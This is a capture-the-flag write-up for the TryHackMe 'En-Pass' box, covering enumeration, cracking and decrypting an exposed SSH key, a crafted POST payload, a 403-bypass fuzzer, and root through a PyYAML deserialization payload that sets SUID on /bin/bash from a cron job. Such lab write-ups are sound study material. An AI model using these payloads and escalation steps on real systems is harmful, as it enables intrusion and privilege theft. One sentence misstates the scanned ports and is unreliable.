En-Pass TryHackMe Writeup
En-pass is a medium rated Linux box on Tryhackme by kiransau. We obtain a encrpyted private key on the webserver after bruteforcing for directories and files using gobuster. Password for that key is obtained after passing the checks implemented on reg.php file and at last, user for the box was obtained from bypassing a 403 page. On the box, cronjob was exploited to get a shell on the box as root.
Port Scan
All Port Scan
reddevil@ubuntu:~/Documents/tryhackme/enpass$ nmap -p- --min-rate 10000 -v -oN nmap/all-ports 10.10.11.83
Nmap scan report for 10.10.11.83
Host is up (0.32s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
8001/tcp open vcom-tunnel
Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu Feb 11 07:46:51 2021 -- 1 IP address (1 host up) scanned in 34.06 seconds
Detail Scan
reddevil@ubuntu:~/Documents/tryhackme/enpass$ cat nmap/detail
# Nmap 7.80 scan initiated Thu Feb 11 07:47:06 2021 as: nmap -p22,8001 -sC -sV -oN nmap/detail 10.10.11.83
Nmap scan report for 10.10.11.83
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:bf:6b:1e:93:71:7c:99:04:59:d3:8d:81:04:af:46 (RSA)
| 256 40:fd:0c:fc:0b:a8:f5:2d:b1:2e:34:81:e5:c7:a5:91 (ECDSA)
|_ 256 7b:39:97:f0:6c:8a:ba:38:5f:48:7b:cc:da:72:a8:44 (ED25519)
8001/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: En-Pass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 11 07:47:37 2021 -- 1 IP address (1 host up) scanned in 30.41 seconds
We have only two ports open. SSH is running on port 80 and a HTTP server is running on port 8081 and the banner is telling us this is a ubuntu box. Since there is not much to look into the SSH service, let us start the enumeration with HTTP service on port 8001.
HTTP service on Port 8001
On the homepage, we can see lovely pictures of temple from Patan Durbar Square, Kathmandu Nepal.
Directory and file bruteforcing using gobuster
Root directory
reddevil@ubuntu:~/Documents/tryhackme/enpass$ gobuster dir -u http://10.10.86.50:8001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.86.50:8001
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
2021/02/12 16:44:46 Starting gobuster
===============================================================
/web (Status: 301)
/index.html (Status: 200)
/reg.php (Status: 200)
/403.php (Status: 403)
/zip (Status: 301)
/server-status (Status: 403)
===============================================================
2021/02/12 16:48:45 Finished
===============================================================
On /web
reddevil@ubuntu:~/Documents/tryhackme/enpass$ gobuster dir -u http://10.10.86.50:8001/web/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.86.50:8001/web/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,php,html
[+] Timeout: 10s
===============================================================
2021/02/12 16:55:46 Starting gobuster
===============================================================
/resources (Status: 301)
===============================================================
2021/02/12 17:02:38 Finished
===============================================================
On /web/resources
reddevil@ubuntu:~/Documents/tryhackme/enpass$ gobuster dir -u http://10.10.86.50:8001/web/resources/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.86.50:8001/web/resources/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/02/12 17:08:55 Starting gobuster
===============================================================
/infoseek (Status: 301)
===============================================================
2021/02/12 17:09:17 Finished
===============================================================
===============================================================
On /web/resources/infoseek/
reddevil@ubuntu:~/Documents/tryhackme/enpass$ gobuster dir -u http://10.10.86.50:8001/web/resources/infoseek/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```console
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.86.50:8001/web/resources/infoseek/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/02/12 17:09:17 Starting gobuster
===============================================================
/configure (Status: 301)
===============================================================
2021/02/12 17:10:18 Finished
===============================================================
===============================================================
On /web/resources/infoseek/configure/
reddevil@ubuntu:~/Documents/tryhackme/enpass$ gobuster dir -u http://10.10.86.50:8001/web/resources/infoseek/configure/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.86.50:8001/web/resources/infoseek/configure/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/02/12 17:10:18 Starting gobuster
===============================================================
/key (Status: 200)
===============================================================
2021/02/12 17:12:20 Finished
===============================================================
visiting /web/resources/infoseek/configure/ key
reddevil@ubuntu:~/Documents/tryhackme/enpass/zip$ curl http://10.10.86.50:8001/web/resources/infoseek/configure/key
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,3A3DBCAED659E70F7293FA98DB8C1802
V0Z7T9g2JZvMMhiZ6JzYWaWo8hubQhVIu3AcrxJZqFD0o2FW1K0bHGLbK8P+SaAc
9plhOtJX6ZUjtq92E/sinTG0wwc94VmwiA5lvGmjUtBjah4epDJs8Vt/tIpSTg8k
28ef1Q8+5+Kl4alJZWNF0RVpykVEXKqYw3kJBqQDTa4aH75MczJGfk4TY5kdZFO3
tPVajm46V2C/9OrjOpEVg2jIom+e4kJAaJdB7Jr7br3xoaYhe5YEUiSGM8YD7SUZ
................................................................
................................................................
om679j9qdIP7O8m3PK0Wg/cSkjdj0vRxT539tAY1+ci99FXnO1Touo7mlaA4eRTK
LQLmzFcucQODcm3FEy18doT2llDTyloD2PmX+ipzB7mbdqw7pUXPyFTnGZoKrnhM
27L629aKxoM19Mz0xP8BoQMcCOCYklIw1vkaiPgXAYkNXXtBzwWn1SFcU57buaED
CJCnh3g19NZ/VjJ1zERJLjK1U1l/RtlejISAB35AYFUnKDG3iYXLRP3iT/R22BMd
z4uSYN10O1nr4EppAOMtdSdd9PJuwxKN/3nJvymMf3O/MmC/8DJOIyadZzEw7EbP
iU5caghFrCuuhCagiwYr+qeKM3BwMUBPeUXVWTCVmFkA7jR86XTMfjkD1vgDFj/8
-----END RSA PRIVATE KEY-----
We get a encrpyted private key.
Trying to decrypt the key using john
Using ssh2john to convert into hash
reddevil@ubuntu:~/Documents/tryhackme/enpass$ locate ssh2john
/opt/john/ssh2john.py
reddevil@ubuntu:~/Documents/tryhackme/enpass$ /opt/john/ssh2john.py key > hash
reddevil@ubuntu:~/Documents/tryhackme/enpass$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:12 DONE (2021-02-12 17:21) 0g/s 1169Kp/s 1169Kc/s 1169KC/s *7¡Vamos!
Session completed.
And the password was not cracked by john as it was not available on rockyou.txt
.
Visiting /zip
We get a list of zip files. There are about 100 zip files. As we can see on the picture, all the zip files have exact date of modification and size, except the file a.zip
.
Downloading and extracting the zip files
Downloading a.zip first
Extracting the content
As I was manually extracting the zip files, all of the zip files have a file called a
inside them and the content on the file was sadman.
Downloading and extracting remaining zip files
This went on and all I got was sadman.
This was a dead end. So, lets continue with our enumeration.
Visiting /reg.php
Checking the source
There is a PHP code with some checks implemented. And the code says we will get what we need if we pass the checks being implemented.
PHP code
<?php
if($_SERVER["REQUEST_METHOD"] == "POST"){
$title = $_POST["title"];
if (!preg_match('/[a-zA-Z0-9]/i' , $title )){
$val = explode(",",$title);
$sum = 0;
for($i = 0 ; $i < 9; $i++){
if ( (strlen($val[0]) == 2) and (strlen($val[8]) == 3 )) {
if ( $val[5] !=$val[8] and $val[3]!=$val[7] )
$sum = $sum+ (bool)$val[$i]."<br>";
}
}
if ( ($sum) == 9 ){
echo $result;//do not worry you'll get what you need.
echo " Congo You Got It !! Nice ";
}
else{
echo " Try Try!!";
}
}
else{
echo " Try Again!! ";
}
}
The condition is that our POST variable title
should not contain any alphanumeric characters. After that explode with ,
which will break our title variable into arrays. Looking at the for loop, we have to pass the title variable such that there will be 9 element in the array. So to do that, we have to use 8 commas (,) on our title variable and few simple check are being implemented afterwards.
So considering all the checks the final payload will be
$title = $$,!,@,#,$,^,&,*,(((
Submiting the payload
And we get the password. Now we can try if this is the password for that key.
Trying to decrypt the key with the obtained password
reddevil@ubuntu:~/Documents/tryhackme/enpass/zip$ openssl rsa -in=key
Enter pass phrase for key:
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAxxRs4bP1v4b2ELl1IBy6tdeVjbbc4VpdV85ZCDLJLPjO6+1P
aLnO4tgcpz9YQiSpwXmrcfzODwdzxJ9oBvmUnd/98lDtsXpdIaRytcvbjXfJUQWP
MfXJ2ofsuGE2CO9JdzbOw/t9NAQQvLlK+1m16jTU52DMwFDIDWmanOy+bl7WBwGx
CHOzuiGbAXtk67BICfR17VYpqbakEKZuVmzljmoHnFHZl4rIlhbH8b9upBEJwQdt
................................................................
................................................................
/vjBzbOlu2VMpOEL6QRhzsZD1M9aIWBo7Ey6dNI5geLKVaiYcelJ+jGBhyhox5X5
UPvvWg1lQL5jS9VTf88F8d5avu8O6KC3mE0bT5veZGxUa63Tfi+y9yTWME89sRb9
SYPufkpAO/yqpBgawGclb2BdAoGAcTKSY5ERq5sUoP5Q7UgW/ZlKDo4qcBHXHh6R
kXt26ogbRerV1UW2F+EBeqmd/wa/UJhE7IE96cfxW52QnsrsMdpVw2aFb07PxYGy
z9dzQKSuv8esKUKGpbaxwwwE7EkqysYzeTlwhxpeLOXsZHi9g+ewDBl0wwHoPZw6
IO0hR4sCgYBIKx60fT8jUpXm5GhZjWyf3atT7fY/AvWUX2UBPACsRR0H5p+p56bO
dc8iYpxopgnimI61wpcszH/rFxBo1tOKIzxppgV/0XlGD7r84wo1pTs3tOZUwUt+
fAqK6TY8jOOWhiP2KQJ/pCB2Vu+/Fzi3wxSxy1r3rgIrGILV6vARqQ==
-----END RSA PRIVATE KEY-----
And we successfully decrypt the key. Since the SSH is open, we can try and login with this private key, but the problem is that we do not have a username yet.
I have spent a fair amount of time here.
Bruteforcing the username
I have used the namelist from the Seclists trying to guess the user on the box.
reddevil@ubuntu:~/Documents/tryhackme/enpass/zip$ wc -l /usr/share/wordlists/Seclists/Usernames/Names/names.txt
10164 /usr/share/wordlists/Seclists/Usernames/Names/names.txt
But I was unsuccessful.
Using Public Exploit
According to the output of the Nmap, the version of SSH running on the box is OpenSSH 7.2p2
and this version was vulnerable to user enumeration, but still it gave so many false positives.
Checking /403.php
Looking at the page, It looked like we have to bypass this forbidden 403 to get what we are looking for, i.e. username. And also looking at the hint provided by the creator, it seems to be the right path.
So I manually tried bunch of custom header and things but was not able to bypass the check. Then I searched and downloaded few github tools which try multiple payloads to try and bypass the 403 error. From those tools, one seem to get what I wanted and the check was bypassed.
Fuzzing with 403fuzzer
Cloning the repo
reddevil@ubuntu:~/Documents/tryhackme/enpass$ git clone https://github.com/intrudir/403fuzzer
Cloning into '403fuzzer'...
remote: Enumerating objects: 113, done.
remote: Counting objects: 100% (113/113), done.
remote: Compressing objects: 100% (107/107), done.
remote: Total 113 (delta 45), reused 10 (delta 4), pack-reused 0
Receiving objects: 100% (113/113), 31.55 KiB | 145.00 KiB/s, done.
Resolving deltas: 100% (45/45), done.
Checking the options
reddevil@ubuntu:~/Documents/tryhackme/enpass/403fuzzer$ ls
403fuzzer.py functions.py header_payloads.txt README.md url_payloads.txt
reddevil@ubuntu:~/Documents/tryhackme/enpass/403fuzzer$ python 403fuzzer.py -h
usage: 403fuzzer.py [-h] [-u URL] [-c COOKIES] [-p PROXY] [-hc HC] [-hl HL]
use this script to fuzz endpoints that return a 401/403
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Specify the target URL
-c COOKIES, --cookies COOKIES
Specify cookies to use in requests. (e.g., --cookies "cookie1=blah; cookie2=blah")
-p PROXY, --proxy PROXY
Specify a proxy to use for requests (e.g., http://localhost:8080)
-hc HC Hide response code from output, single or comma separated
-hl HL Hide response length from output, single or comma separated
It is nice that it has option for proxy. Now we can analyse the whole traffic using burpsuite.
Running the exploit
The exploit was running and I was observing the response on the burpsuite. And I get a different reponse length with status code 200. And we get the username. So, lets try and login using the private key that we have obtained before.
Shell as imsau
And we get a shell on the box.
Privilege Escalation
I ran linpeas first and did not get that much information from it. So as I was manually looking through different directories, I found a script
directory on /opt
.
imsau@enpass:/opt/scripts$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Jan 31 19:40 .
drwxr-xr-x 3 root root 4096 Jan 31 16:34 ..
-r-xr-xr-x 1 root root 250 Jan 31 19:40 file.py
Content of file.py
#!/usr/bin/python
import yaml
class Execute():
def __init__(self,file_name ="/tmp/file.yml"):
self.file_name = file_name
self.read_file = open(file_name ,"r")
def run(self):
return self.read_file.read()
data = yaml.load(Execute().run())
It loads the content of file /tmp/file.yml
and passes to yaml.load()
function.
Checking if /tmp/file exists
imsau@enpass:/opt/scripts$ ls -la /tmp
total 28
drwxrwxrwt 7 root root 4096 Feb 12 17:52 .
drwxr-xr-x 23 root root 4096 Feb 12 16:37 ..
drwxrwxrwt 2 root root 4096 Feb 12 16:37 .font-unix
drwxrwxrwt 2 root root 4096 Feb 12 16:37 .ICE-unix
drwxrwxrwt 2 root root 4096 Feb 12 16:37 .Test-unix
drwxrwxrwt 2 root root 4096 Feb 12 16:37 .X11-unix
drwxrwxrwt 2 root root 4096 Feb 12 16:37 .XIM-unix
And there is no /tmp/file.yml.
This means that we can create a file called /tmp/file.yml
with arbitary content and this content will be passed to yaml.load()
function. I checked online and found that this can be used to execute code on the box. This can be visualized as desearialization of untrusted user input.
Even though this code was vulnerable, we must be somehow able to execute this script as root.
Checking sudo -l
imsau@enpass:/opt/scripts$ sudo -l
[sudo] password for imsau:
And we are prompted for a password which we do not have currently. So, I decided to upload pspy and check if there are any cron jobs running on the box.
Running PSPY on the box
We can notice few things on this image. There is a cronjob which is being executed by root every minute. It executes the script /opt/scripts/file.py
, removes the file /tmp/file.yml
, changes the owner of the file /tmp/file.yml
and again executes and deletes it. It’s kind of strange to be honest. But what we can do is make a file with our malicious payload and run a infinite loop which copies this malicious payload to /tmp/file.yml
.
Content of shell.yml
!!python/object/apply:os.system ["chmod 4777 /bin/bash"]
We just set the SUID bit on the /bin/bash
binary.
Executing infinite loop and watching the binary using watch
And after a minute or so, the bash binary has SUID bit set on it.
Getting a root shell
imsau@enpass:/tmp$ /bin/bash -p
bash-4.3# id
uid=1002(imsau) gid=1002(imsau) euid=0(root) groups=1002(imsau)
bash-4.3#
And we are root.
Reading Flags
Having trouble with the writeup and need help, do not hesitate to ping me on twitter.